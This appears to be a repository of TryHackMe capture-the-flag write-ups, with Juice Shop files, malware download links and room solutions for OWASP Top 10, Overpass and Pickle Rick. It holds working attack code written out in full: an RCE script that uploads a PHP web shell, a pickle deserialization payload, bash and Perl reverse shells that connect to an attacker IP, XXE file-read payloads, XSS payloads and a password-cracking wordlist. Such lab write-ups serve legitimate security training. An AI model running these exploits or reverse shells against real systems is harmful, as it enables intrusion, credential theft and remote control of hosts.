    "Aashish Singh",
    "Timo Pagel",
    "Scar26",
    "Martin Rock-Evans",
    "Alejandro Saenz",
    "omerlh"
  ],
  "private": true,
  "keywords": [
    "web security",
    "web application security",
    "webappsec",
    "owasp",
    "pentest",
    "pentesting",
    "security",
    "vulnerable",
    "vulnerability",
    "broken",
    "bodgeit"
  ],
  "dependencies": {
    "body-parser": "~1.18",
    "colors": "~1.1",
    "config": "~1.28",
    "cookie-parser": "~1.4",
    "cors": "~2.8",
    "dottie": "~2.0",
    "epilogue-js": "~0.7",
    "errorhandler": "~1.5",
    "express": "~4.16",
    "express-jwt": "0.1.3",
    "fs-extra": "~4.0",
    "glob": "~5.0",
    "grunt": "~1.0",
    "grunt-angular-templates": "~1.1",
    "grunt-contrib-clean": "~1.1",
    "grunt-contrib-compress": "~1.4",
    "grunt-contrib-concat": "~1.0",
    "grunt-contrib-uglify": "~3.2",
    "hashids": "~1.1",
    "helmet": "~3.9",
    "html-entities": "~1.2",
    "jasmine": "^2.8.0",
    "js-yaml": "3.10",
    "jsonwebtoken": "~8",
    "jssha": "~2.3",
    "libxmljs": "~0.18",
    "marsdb": "~0.6",
    "morgan": "~1.9",
    "multer": "~1.3",
    "pdfkit": "~0.8",
    "replace": "~0.3",
    "request": "~2",
    "sanitize-html": "1.4.2",
    "sequelize": "~4",
    "serve-favicon": "~2.4",
    "serve-index": "~1.9",
    "socket.io": "~2.0",
    "sqlite3": "~3.1.13",
    "z85": "~0.0"
  },
  "devDependencies": {
    "chai": "~4",
    "codeclimate-test-reporter": "~0.5",
    "cross-spawn": "~5.1",
    "eslint": "~4.7",
    "eslint-scope": "3.7.2",
    "form-data": "~2.3",
    "frisby": "~2.0",
    "grunt-cli": "~1.2",
    "http-server": "~0.10",
    "jasmine-reporters": "~2.2",
    "jest": "~22",
    "karma": "~1.7",
    "karma-chrome-launcher": "~2.2",
    "karma-cli": "~1.0",
    "karma-coverage": "~1.1",
    "karma-jasmine": "~1.1",
    "karma-junit-reporter": "~1.2",
    "karma-phantomjs-launcher": "~1.0",
    "karma-safari-launcher": "~1.0",
    "lcov-result-merger": "~1.2",
    "mocha": "~4",
    "nyc": "~11",
    "phantomjs-prebuilt": "~2",
    "protractor": "~5",
    "shelljs": "~0.7",
    "sinon": "~4",
    "sinon-chai": "~2.14",
    "socket.io-client": "~2.0",
    "standard": "~10",
    "stryker": "~0",
    "stryker-api": "~0",
    "stryker-html-reporter": "~0",
    "stryker-jasmine": "~0",
    "stryker-karma-runner": "~0",
    "stryker-mocha-runner": "~0"
  },
  "repository": {
    "type": "git",
    "url": "https://github.com/bkimminich/juice-shop.git"
  },
  "bugs": {
    "url": "https://github.com/bkimminich/juice-shop/issues"
  },
  "license": "MIT",
  "scripts": {
    "postinstall": "npm --prefix ./app install ./app && grunt minify",
    "start": "node app",
    "test": "standard && karma start karma.conf.js && nyc --report-dir=./build/reports/coverage/server-tests mocha test/server",
    "frisby": "nyc --report-dir=./build/reports/coverage/api-tests node ./test/apiTests.js",
    "preupdate-webdriver": "npm install",
    "update-webdriver": "webdriver-manager update",
    "preprotractor": "npm run update-webdriver",
    "protractor": "node test/e2eTests.js",
    "stryker": "stryker run stryker.client-conf.js",
    "vagrant": "cd vagrant && vagrant up"
  },
  "engines": {
    "node": ">=6 <=9"
  },
  "standard": {
    "ignore": [
      "/app/private/**",
      "/vagrant/**"
    ],
    "env": {
      "jasmine": true,
      "node": true,
      "browser": true,
      "mocha": true,
      "protractor": true
    },
    "globals": [
      "angular",
      "inject"
    ]
  },
  "nyc": {
    "include": [
      "lib/*.js",
      "routes/*.js"
    ],
    "all": true,
    "reporter": [
      "lcov",
      "text-summary"
    ]
  },
  "jest": {
    "testMatch": [
      "**/test/api/*Spec.js"
    ],
    "testPathIgnorePatterns": [
      "/node_modules/",
      "/app/node_modules/"
    ]
  }
}


================================================
FILE: OWASP-Juice-Shop/ftp/quarantine/juicy_malware_linux_amd_64.url
================================================
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/J12934/juicy-malware/raw/master/juicy_malware_linux_amd_64
IDList=


================================================
FILE: OWASP-Juice-Shop/ftp/quarantine/juicy_malware_linux_arm_64.url
================================================
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/J12934/juicy-malware/raw/master/juicy_malware_linux_arm_64
IDList=


================================================
FILE: OWASP-Juice-Shop/ftp/quarantine/juicy_malware_macos_64.url
================================================
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/J12934/juicy-malware/raw/master/juicy_malware_macos_64
IDList=


================================================
FILE: OWASP-Juice-Shop/ftp/quarantine/juicy_malware_windows_64.exe.url
================================================
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
URL=https://github.com/J12934/juicy-malware/raw/master/juicy_malware_windows_64.exe
IDList=


================================================
FILE: OWASP-Juice-Shop/ftp/suspicious_errors.yml%00.md
================================================
title: Suspicious error messages specific to the application
description: Detects error messages that only occur from tampering with or attacking the application
author: Bjoern Kimminich
logsource:
    category: application
    product: nodejs
    service: errorhandler
detection:
    keywords:
        - 'Blocked illegal activity'
        - '* with id=* does not exist'
        - 'Only * files are allowed'
        - 'File names cannot contain forward slashes'
        - 'Unrecognized target URL for redirect: *'
        - 'B2B customer complaints via file upload have been deprecated for security reasons'
        - 'Infinite loop detected'
        - 'Detected an entity reference loop'
    condition: keywords
level: low

================================================
FILE: OWASP-Top-10/47887.py
================================================
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-07
# Exploit Author: Tib3rius
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')

================================================
FILE: OWASP-Top-10/48973.txt
================================================
# Exploit Title: CSE Bookstore 1.0 - 'quantity' Persistent Cross-site Scripting
# Date: 30/10/2020
# Exploit Author: Vyshnav NK
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10 and Windows 7

CSE Bookstore is vulnerable to a Persistent Cross-site scripting  on Checkout.php and cartp.php, Where an user can able to add quantity as an XSS Payload and once added each time when we click on MyCart option it triggers as stored one

The below URL can be accessed by a User

URL :  http://localhost/php/checkout.php and http://localhost/php/cart.php

Payload : "><svg/onload=alert(5)>

Insert XSS Payload into Quantity Section

================================================
FILE: OWASP-Top-10/README.md
================================================
# OWASP Top 10

![owasp](https://github.com/edoardottt/tryhackme-ctf/blob/main/OWASP-Top-10/owasp.png)


This room breaks each OWASP topic down and includes details on what the vulnerability is, how it occurs and how you can exploit it. You will put the theory into practise by completing supporting challenges.


  - Injection
  - Broken Authentication
  - Sensitive Data Exposure
  - XML External Entity
  - Broken Access Control
  - Security Misconfiguration
  - Cross-site Scripting
  - Insecure Deserialization
  - Components with Known Vulnerabilities
  - Insufficent Logging & Monitoring

The room has been designed for beginners and assume no previous knowledge of security.


- Read the above.

	  no answer needed

- Connect to our network or deploy the AttackBox.

	  no answer needed

- I've understood Injection attacks.

	  no answer needed

- I've understood command injection.

	  no answer needed

- What strange text file is in the website root directory?

	- `ls`
	- `drpepper.txt`

- How many non-root/non-service/non-daemon users are there?

	- `cat /etc/passwd`
	- `0`

- What user is this app running as?

	- `whoami`
	- `www-data`

- What is the user's shell set as?

	- `cat /etc/passwd`
	- `/usr/sbin/nologin`

- What version of Ubuntu is running?

	- `lsb_release -a`
	- `18.04.4`

- Print out the MOTD.  What favorite beverage is shown?

	- `dr pepper`

- I've understood broken authentication mechanisms.

	  no answer needed

- What is the flag that you found in darren's account?

	- Register a user called ` darren` and then login is with that username.
	- `********************************`

- Now try to do the same trick and see if you can login as arthur.

	  no answer needed

- What is the flag that you found in arthur's account?

	- `********************************`

- Read the introduction to Sensitive Data Exposure and deploy the machine.

	  no answer needed

- Read and understand the supporting material on SQLite Databases.

	  no answer needed

- Read the supporting material about cracking hashes.

	  no answer needed

- What is the name of the mentioned directory?

	- `scilla dir -target http://<TARGET_IP>/` ([scilla](https://github.com/edoardottt/scilla))
	- `/assets`

- Navigate to the directory you found in question one. What file stands out as being likely to contain sensitive data?

	- `webapp.db`

- Use the supporting material to access the sensitive data. What is the password hash of the admin user?

	- `sqlite3 webapp.db`
	- `.tables`
	- `select * from users;`
	- `********************************`

- Crack the hash. What is the admin's plaintext password?

	- `hash-identifier`
	- [MD5](http://www.md5online.it)
	- `**********`

- Login as the admin. What is the flag?

	- `THM{********************************}`

- Deploy the machine attached to the task.

	  no answer needed

- Full form of XML

	- `eXtensible Markup Language`

- Is it compulsory to have XML prolog in XML documents?

	- `no`

- Can we validate XML documents against a schema?

	- `yes`

- How can we specify XML version and encoding in XML document?

	- `XML Prolog`

-  How do you define a new ELEMENT?

	- `!ELEMENT`

- How do you define a ROOT element?

	- `!DOCTYPE`

- How do you define a new ENTITY?

	- `!ENTITY`

- Try the payload mentioned in description on the website.

	  no answer needed

	- Navigate to `http://<TARGET_IP>`
	- Insert this code inside the payload area:

	~~~
	<?xml version="1.0"?>
	<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
	<root>&read;</root>
	~~~
	- Submit

- Try to display your own name using any payload.

	  no answer needed

	- Insert this code inside the payload area:

	~~~
	<!DOCTYPE replace [<!ENTITY name "feast"> ]>
 	<userInfo>
  	<firstName>falcon</firstName>
  	<lastName>&name;</lastName>
 	</userInfo>
	~~~
	- Submit
	
- See if you can read the /etc/passwd

	  no answer needed
	
	- Like we did previously

- What is the name of the user in /etc/passwd

	- `falcon`

- Where is falcon's SSH key located?

	- `/home/falcon/.ssh/id_rsa`

- What are the first 18 characters for falcon's private key

	- Insert this code inside the payload area:

	~~~
	<?xml version="1.0"?>
	<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///home/falcon/.ssh/idrsa'>]>
	<root>&read;</root>
	~~~

	- `******************`

- Read and understand how broken access control works.

	  no answer needed

- Read and understand how IDOR works.

	  no answer needed

- Deploy the machine and go to `http://<TARGET_IP>` and login with the username being `noot` and the password `test1234`.

	  no answer needed

- Look at other users notes. What is the flag?

	- `?note=0`
	- `flag{*************}`

- Deploy the VM

	  no answer needed

- Hack into the webapp, and find the flag!

	- *disclaimer* Here I found another way to enter. Analyzing the source code of the application, in particular the `login.js` and `cookie.js` I found out that the only Authentication is based on the cookie with name `SessionToken`, so adding that cookie I can enter inside `/mynotes` page. But then, I didn't found anything weird.
	- Googling `Pensive notes source code` you will find a reposiory on GitHub.
	- Reading the README.md: 
	~~~
	After downloading and compiling PensiveNotes, log in using the default credentials pensive:PensiveNotes
	Make sure you change this password immediately!
	~~~
	- Login
	- `thm{********************************}`

- Deploy the VM

	  no answer needed

- Navigate to `http://<TARGET_IP>/` in your browser and click on the "Reflected XSS" tab on the navbar; craft a reflected XSS payload that will cause a popup saying "Hello".

	- `<script>document.alert('Hello!');</script>`
	- `****************************`

- On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

	- `<script>document.alert(window.location.hostname);</script>`
	- `Reflecti**********in`

- Now navigate to http://10.10.136.11/ in your browser and click on the "Stored XSS" tab on the navbar; make an account.Then add a comment and see if you can insert some of your own HTML.

	- username: `edoardottt <!--ciao-->`
	- password: whatever
	- Result: `You are currently signed in as <b>edoardottt <!--ciao--></b>.`
	- Uh? NO wait ahaha.
	- Login
	- Click Stored Xss tab.
	- Add a comment. ahah.
	- `*********`

- On the same page, create an alert popup box appear on the page with your document cookies.

	- Found this on the page :)
	~~~
	      function fixJS(comment) {
        if(comment.includes('document.location')) { // stop from redirecting
          return
        }
        if(comment.includes("LVL2")) {
          alert(document.cookie)
        }
        if(comment.includes('<script>alert(')) {
          let tmp = comment.match(/alert(.*?)\)/g);
          tmp = tmp[0]
          tmp = tmp.replace('alert', '').replace('(', '').replace(')', '').replace(/"/g, '')
          alert(tmp)
        } else {
          try {
            let tmp = comment.replace('<script>', '').replace('<\/script>', '')
            eval(tmp)
          } catch(err) {

          }
        }
      }
	~~~
	- I don't know very well actually how I went forward. I did 2-3 tries with `LVL2` and others..(?)
	- `<script>alert(document.cookie)</script>`
	- `**************`

- Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.

	- `<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>`
	- `***********************************`

-  Who developed the Tomcat application?

	- `The Apache Software Foundation`

- What type of attack that crashes services can be performed with insecure deserialization?

	- `Denial of Service`

- Select the correct term of the following statement:
if a dog was sleeping, would this be:

	- `A behaviour`

- What is the name of the base-2 formatting that data is sent across a network as?

	- `binary`

- If a cookie had the path of webapp.com/login , what would the URL that the user has to visit be?

	- `webapp.com/login`

- What is the acronym for the web technology that Secure cookies work over?

	- `https`

- 1st flag (cookie value)

	- Create a new user. Choose random username and password.
	- Click then `F12`, you should able to open the Developer console.
	- Click on storage tab.
	- Copy the value of `SessionId` cookie.
	- Go to [CyberChef](https://gchq.github.io/CyberChef/) and decode from base64.
	- `THM{*******************}`

- 2nd flag (admin dashboard)

	- Change the value of the cookie with name `UserType` from `user` to `admin`.
	- Navigate to `http://<TARGET_IP>/admin`.
	- `THM{********************}`

- flag.txt

	- First, change the value of the userType cookie from "admin" to "user" and return to `http://<TARGET_IP>/myprofile`.
	- Then, left-click on the URL in "Exhange your vim".
	- Once you have done this, left-click on the URL in "Provide your feedback!".
	- On your machine `nc -lnvp 4444`
	- Insert your IP inside the file `rce.py`.
	- `python3 rce.py`
	- This will output the encoded payload.
	- Copy and paste this as value of "Encodedpayload" cookie.
	- Make sure that your nc connection is still running.
	- Refresh the page.
	- You should got a reverse shell.
	- `cd ..`
	- `cat flag.txt`
	- `*************`

- Read above.

	  no answer needed

- Read the above!

	  no answer needed

- How many characters are in /etc/passwd (use `wc -c /etc/passwd` to get the answer)

	- I found more than one exploit, anyway I use the most efficient and dangerous.
	- `python3 47887.py <TARGET_IP>`
	- `id`
	- `wc -c /etc/passwd`
	- `****`

- What IP address is the attacker using?

	- `49.99.13.16`

- What kind of attack is being carried out?

	- `brute force`

- Read the above!

	  no answer needed




================================================
FILE: OWASP-Top-10/login-logs.txt
================================================
200 OK           12.55.22.88 jr22          2019-03-18T09:21:17 /login
200 OK           14.56.23.11 rand99        2019-03-18T10:19:22 /login
200 OK           17.33.10.38 afer11        2019-03-18T11:11:44 /login
200 OK           99.12.44.20 rad4          2019-03-18T11:55:51 /login
200 OK           67.34.22.10 bff1          2019-03-18T13:08:59 /login
200 OK           34.55.11.14 hax0r         2019-03-21T16:08:15 /login
401 Unauthorised 49.99.13.16 admin         2019-03-21T21:08:15 /login
401 Unauthorised 49.99.13.16 administrator 2019-03-21T21:08:20 /login
401 Unauthorised 49.99.13.16 anonymous     2019-03-21T21:08:25 /login
401 Unauthorised 49.99.13.16 root          2019-03-21T21:08:30 /login 

================================================
FILE: OWASP-Top-10/rce.py
================================================
# https://gist.githubusercontent.com/CMNatic/af5c19a8d77b4f5d8171340b9c560fc3/raw/f0fce6310455d8c345bbc9ec81f41d224896b9c5/rce.py

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat INSERT_YOUR_THM_IP 4444 > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))


================================================
FILE: Overpass/README.md
================================================
# Overpass

- Hack the machine and get the flag in user.txt

	- `nmap -sV -p- <TARGET_IP>`
	- `scilla dir -target <TARGET_IP>`, [scilla](https://github.com/edoardottt/scilla)
	- There is a `/admin/` page and a `cookie.js` file...... ahahaha
	- Inspect a bit the code, in particular `cookie.js` and `login.js`.
	- Create a cookie called `sessionToken` with value `admin`.
	- Refresh the `/admin/` page.
	- Copy the RSA private key into a file called `id_rsa`.
	- Move this file into `~/.ssh`.
	- `chmod 700 ~/.ssh/id_rsa`
	- `ssh james@<TARGET_IP>`
	- Noo. We need the passphrase.
	- `/usr/share/john/ssh2john.py ~/.ssh/id_rsa > key.txt`
	- `john key.txt --wordlist=/usr/share/wordlists/rockyou.txt`
	- `*******`
	- Try with ssh and insert password.
	- `cat user.txt`
	- `thm{********************************}`

- Escalate your privileges and get the flag in root.txt

	- `cat todo.txt`. Mhh...
	- `cat .overpass`
	- Copy that code.
	- Insert into CyberChef with recipe `ROT47`.
	- `[{"name":"******","pass":"********************"}]`
	- But these are just the credentials of james...
	- `cat /etc/crontab`
	~~~
	# Update builds from latest code
	* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash`
	~~~
	- Mhhh...
	- Edit `/etc/hosts` file inserting `<YOUR_IP>	overpass.thm` and deleting the previous one.
	- On your machine create `/downloads/src/buidscript.sh` and write into it `bash -i >& /dev/tcp/<YOUR_IP>/1234 0>&1;`
	- On your machine `python3 -m http.server 80`
	- On your machine `nc -lnvp 1234`
	- After a while that cronjob will be executed and you get a reverse root shell.
	- `cat root.txt`
	- `thm{********************************}`






================================================
FILE: Overpass/downloads/src/buildscript.sh
================================================
bash -i >& /dev/tcp/<YOUR_IP>/1234 0>&1;


================================================
FILE: Overpass2-Hacked/README.md
================================================
# Overpass 2 - Hacked

![img](https://github.com/edoardottt/tryhackme-ctf/blob/main/Overpass2-Hacked/img.png)

If you are experiencing trouble, google `wireshark follow tcp stream`

- What was the URL of the page they used to upload a reverse shell?

	- Open Wireshark, and then open the pcap file.
	- `/development/`

- What payload did the attacker use to gain access?

	- You have to search a big POST request.
	- `<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>`

- What password did the attacker use to privesc?

	- Packet no. 76
	- `whe***************tant`

- How did the attacker establish persistence?

	- Packet no. 120
	- `https://github.com/NinjaJc01/ssh-backdoor`

- Using the fasttrack wordlist, how many of the system passwords were crackable?

	- Save the content of response 114 on a file called `shadow`
	- `john --wordlist=fasttrack.txt shadow`
	- `*`

- What's the default hash for the backdoor?

	- [ssh-backdoor](https://github.com/NinjaJc01/ssh-backdoor/blob/master/main.go)
	- `******** ... ********`

- What's the hardcoded salt for the backdoor?

	- Same file as above
	- `********************************`

- What was the hash that the attacker used? - go back to the PCAP for this!

	- `*********** ... **************`

- Crack the hash using rockyou and a cracking tool of your choice. What's the password?

	- `hashcat -m 1710 -a 0 HASH_HERE:SALT_HERE /usr/share/wordlists/rockyou.txt`
	- `**********`

- The attacker defaced the website. What message did they leave as a heading?

	- Go to `http://<TARGET_IP>`
	- `H4ck3d by CooctusClan`

- Using the information you've found previously, hack your way back in!

	- `ssh james@<TARGET_IP> -p 2222`
	- Enter the password just cracked.
	- `cd .. && cat user.txt`
	- `thm{********************************}`

- What's the root flag?

	- `cd ~`
	- `ls -alh`
	- `./.suid-bash -p`
	- `cat /root/root.txt`
	- `thm{********************************}`






================================================
FILE: Overpass2-Hacked/fasttrack.txt
================================================
P@55w0rd
P@ssw0rd!
P@55w0rd!
sqlsqlsqlsql
SQLSQLSQLSQL
Welcome123
Welcome1234
Welcome1212
PassSql12
network
networking
networks
test
testtest
testing
testing123
testsql
test-sql3
sqlsqlsqlsqlsql
bankbank
default
test
testing
password2

password
Password1
Password1!
P@ssw0rd
password12
Password12
security
security1
security3
secuirty3
complex1
complex2
complex3
sqlserver
sql
sqlsql
password1
password123
complexpassword
database
server
changeme
change
sqlserver2000
sqlserver2005
Sqlserver
SqlServer
Password1
Password2
P@ssw0rd
P@ssw0rd!
P@55w0rd!
P@ssword!
Password!
password!
sqlsvr
sqlaccount
account
sasa
sa
administator
pass
sql
microsoft
sqlserver
sa
hugs
sasa
welcome
welcome1
welcome2
march2011
sqlpass
sqlpassword
guessme
bird
P@55w0rd!
test
dev
qa
god
admin
adminadmin
admins
goat
sysadmin
water
dirt
air
earth
company
company1
company123
company1!
company!
secret
secret!
secret123
secret1212
secret12
secret1!
sqlpass123
Summer2013
Summer2012
Summer2011
Summer2010
Summer2009
Summer2008
Winter2013
Winter2012
Winter2011
Winter2010
Winter2009
Winter2008
summer2013
summer2012
summer2011
summer2010
summer2009
summer2008
winter2013
winter2012
winter2011
winter2010
winter2009
winter2008
123456
abcd123
abc
burp
private
unknown
wicked
alpine
trust
microsoft
sql2000
sql2003
sql2005
sql2008
vista
xp
nt
98
95
2003
2008
someday
sql2010
sql2011
sql2009
complex
goat
changelater
rain
fire
snow
unchanged
qwerty
12345678
football
baseball
basketball
abc123
111111
1qaz2wsx
dragon
master
monkey
letmein
login
princess
solo
qwertyuiop
starwars


================================================
FILE: Persistence/README.md
================================================
# Persistence

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

	- This part is really weel explained on the room, follow it.

- What kind of persistence can/might BITS give?

	- `temporary`

- Read the above

	  no answer needed

- What's Chris decrypted NTLM?

	- `*******123`

- What's Joe decrypted NTLM?

	- `secret`


================================================
FILE: Pickle-Rick/README.md
================================================
# Pickle Rick

This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.

![rickandmorty](https://github.com/edoardottt/tryhackme-ctf/blob/main/Pickle-Rick/rickandmorty.jpeg)

Deploy the virtual machine on this task and explore the web application.

- What is the first ingredient Rick needs?

	- Go with a browser to `http://<TARGET_IP>`
	- Inspecting the page source code (you should do this always) there is a comment saying `username: R1ckRul3s`
	- With `nmap -sV <TARGET_IP>` we can see there is a webserver and ssh running.
	- Let's try to enumerate dirs `gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
	- Casually I went on /robots.txt and found `Wubbalubbadubdub`.
	- Found `login.php` page. Enter with username `R1ckRul3s` and password `Wubbalubbadubdub`. 
	- Type `ls` to list all the files. Found `Sup3rS3cretPickl3Ingred.txt`. The cat command is disabled, but you can see it on the browser.
	- Instead the `clue.txt` file says: `Look around the file system for the other ingredient.`.
	- `mr. meeseek hair`

- Whats the second ingredient Rick needs?

	- Found this supercool [reverse shell](https://github.com/edoardottt/tryhackme-ctf/blob/main/Pickle-Rick/reverse-shell.sh) by Pentestmonkey. 
	- Edit the written ip with your ip address.
	- Copy and paste inside the command box that code.
	- `nc -lnvp 1234` on your machine
	- Execute the pasted code (hitting enter or clicking the button execute).
	- Now you are inside the target machine. Search for some cool ingredient inside home folder.
	- In /home/rick there is the `second ingredients` file.
	- `1 jerry tear`

- Whats the final ingredient Rick needs?

	- `sudo -l`.
	- Fuck. I can do everything.
	- `sudo su`
	- `cd /root`
	- `ls -alh`
	- `cat 3rd.txt`
	- `f**** ***ce`





================================================
FILE: Pickle-Rick/reverse-shell.sh
================================================
perl -e 'use Socket;$i="YOUR-IP-ADDRESS";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


================================================
FILE: Post-Exploitation-Basics/README.md
================================================
# Post-Exploitation Basics

- Deploy the Machine

	no answer needed

- What is the shared folder that is not set by default?

	- `Get-SmbShare`
	- `Share`

- What operating system is running inside of the network besides Windows Server 2019?

	- `Get-NetComputer -fulldata | select operatingsystem`
	- `Windows 10 Enterprise Evaluation`

- I've hidden a flag inside of the users find it

	- `Get-NetUset | select cn`
	- `POST{*************}`




================================================
FILE: README.md
================================================
<h2 align="center">
  <b>TryHackMe notes, code, PoC, solutions, writeups, scribbles, drafts...</b>
</h2>

<p align="center">
<img src="https://github.com/edoardottt/tryhackme-ctf/blob/main/IMAGES/THMlogo.png" width="60%">
</p>
<h3 align="center">
  <b><a href="https://tryhackme.com/p/edoardottt">tryhackme/edoardottt</a> (Top 1%)</b>
  <br>
  <a href="https://tryhackme.com/p/edoardottt"> <img src="https://tryhackme-badges.s3.amazonaws.com/edoardottt.png" alt="TryHackMe"></a>
</h3>

#### Tools used:

  - [CyberChef](https://gchq.github.io/CyberChef/)
  - [nmap](https://nmap.org/)
  - [scilla](https://github.com/edoardottt/scilla)
  - [cariddi](https://github.com/edoardottt/cariddi)
  - [lit-bb-hack-tools](https://github.com/edoardottt/lit-bb-hack-tools)
  - [pentestmonkey](https://github.com/pentestmonkey)
  - [gobuster](https://github.com/OJ/gobuster)
  - [Burpsuite](https://portswigger.net/burp)
  - [metasploit](https://www.metasploit.com/)
  - [sqlmap](http://sqlmap.org/)
  - [zaproxy](https://www.zaproxy.org/)
  - [wireshark](https://www.wireshark.org/)
  - [whois](https://en.wikipedia.org/wiki/WHOIS)
  - [dig](https://en.wikipedia.org/wiki/Dig_(command))
  - [ping](https://en.wikipedia.org/wiki/Ping_(networking_utility))
  - [traceroute](https://en.wikipedia.org/wiki/Traceroute)
  - [exiftool](https://exiftool.org/)
  - [hashcat](https://hashcat.net/hashcat/)
  - [john the ripper](https://www.openwall.com/john/)
  - [GTFObins](https://gtfobins.github.io/)
  - [nikto](https://github.com/sullo/nikto)
  - [hash-identifier](https://tools.kali.org/password-attacks/hash-identifier)
  - [netcat](https://en.wikipedia.org/wiki/Netcat)
  - [ftp](https://en.wikipedia.org/wiki/File_Transfer_Protocol)
  - [binwalk](https://github.com/ReFirmLabs/binwalk)
  - [steghide](http://steghide.sourceforge.net/)
  - [curl](https://curl.se/)
  - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
  - [hydra](https://github.com/vanhauser-thc/thc-hydra)
  - [exploit-db](https://www.exploit-db.com/)
  - [Nessus](https://www.tenable.com/products/nessus)
  - [enum4linux](https://github.com/CiscoCXSecurity/enum4linux)
  - [smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)
  - [linEnum](https://github.com/rebootuser/LinEnum)
  - [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
  - [What's my name Web](https://whatsmyname.app/)
  - [Google Maps](https://www.google.com/maps)
  - [Scylla.sh](https://scylla.sh/api)
  - [Have I been Pwned](https://haveibeenpwned.com/)
  - [Jeffrey's Image Metadata Viewer](http://exif.regex.info)
  - [radare2](https://github.com/radareorg/radare2)
  - [ILSpy](https://github.com/icsharpcode/ILSpy)
  - [PowerShell](https://en.wikipedia.org/wiki/PowerShell)
  - [crackstation](https://crackstation.net/)
  - [lxc](https://en.wikipedia.org/wiki/LXC)
  - [shodan](https://www.shodan.io/)
  - [gpg](https://gnupg.org/)
  - [Dcode.fr](http://dcode.fr)
  - [stegsolve](https://en.kali.tools/all/?tool=1762)
  - [Xor.pw](http://xor.pw/#)
  - [fcrackzip](https://github.com/hyc/fcrackzip)
  - [Vim](https://www.vim.org/)
  - [peepdf](https://github.com/jesparza/peepdf)
  - [vmonkey](https://github.com/decalage2/ViperMonkey/blob/master/vipermonkey/vmonkey.py)
  - [tplmap](https://github.com/epinna/tplmap)
  - [xsrfprobe](https://github.com/0xInfection/XSRFProbe)
  - [jwt.io](https://jwt.io/)
  - [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
  - [wfuzz](https://github.com/xmendez/wfuzz)
  - [kerbrute](https://github.com/ropnop/kerbrute)
  - [impacket](https://github.com/SecureAuthCorp/impacket)
  - [Rubeus](https://github.com/GhostPack/Rubeus)
  - [evil-winrm](https://github.com/Hackplayers/evil-winrm)
  - [ffuf](https://github.com/ffuf/ffuf)
  - [knock](https://github.com/grongor/knock) (Port Knocking)
  - [knock](https://github.com/guelfoweb/knock) (Subdomains scanning)
  - [Web Archive](https://web.archive.org/)
  - [ViewDNS.info](https://viewdns.info/)
  - [dirbuster](https://tools.kali.org/web-applications/dirbuster)
  - [yarGen](https://github.com/Neo23x0/yarGen)

Contributing 🤝
------
If you want to contribute to this project, you can start opening an [issue](https://github.com/edoardottt/tryhackme-ctf/issues).

-----------------------------------

Open an issue if you find an error.  
[edoardottt.com](https://edoardottt.com/) to contact me.


================================================
FILE: Regular-expressions/README.md
================================================
# Regular expressions

- Read the above.

	  no answer needed

- Match all of the following characters: c, o, g

	- `[cog]`

- Match all of the following words: cat, fat, hat

	- `[cfh]at`

- Match all of the following words: Cat, cat, Hat, hat

	- `[CcHh]at`

- Match all of the following filenames: File1, File2, file3, file4, file5, File7, file9

	- `[Ff]ile[1-9]`

